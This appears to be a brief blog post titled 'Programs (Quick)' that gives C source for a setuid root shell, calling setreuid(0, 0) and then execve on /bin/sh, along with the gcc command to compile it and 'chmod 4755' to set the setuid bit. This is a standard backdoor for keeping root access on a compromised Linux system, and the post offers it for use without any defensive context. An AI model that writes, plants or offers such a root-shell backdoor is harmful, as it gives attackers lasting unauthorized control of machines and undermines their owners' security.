Programs (Quick)



Create a quick setuid program in C that "sets the uid to 0, then executes /bin/sh"

To compile, execute 'gcc exec.c -o exec'
chmod 4755 exec

exec.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( int argc, char *argv[] )
{
     setreuid(0, 0);
     execve("/bin/sh", NULL, NULL);
}

=================================================================

No comments:

Post a Comment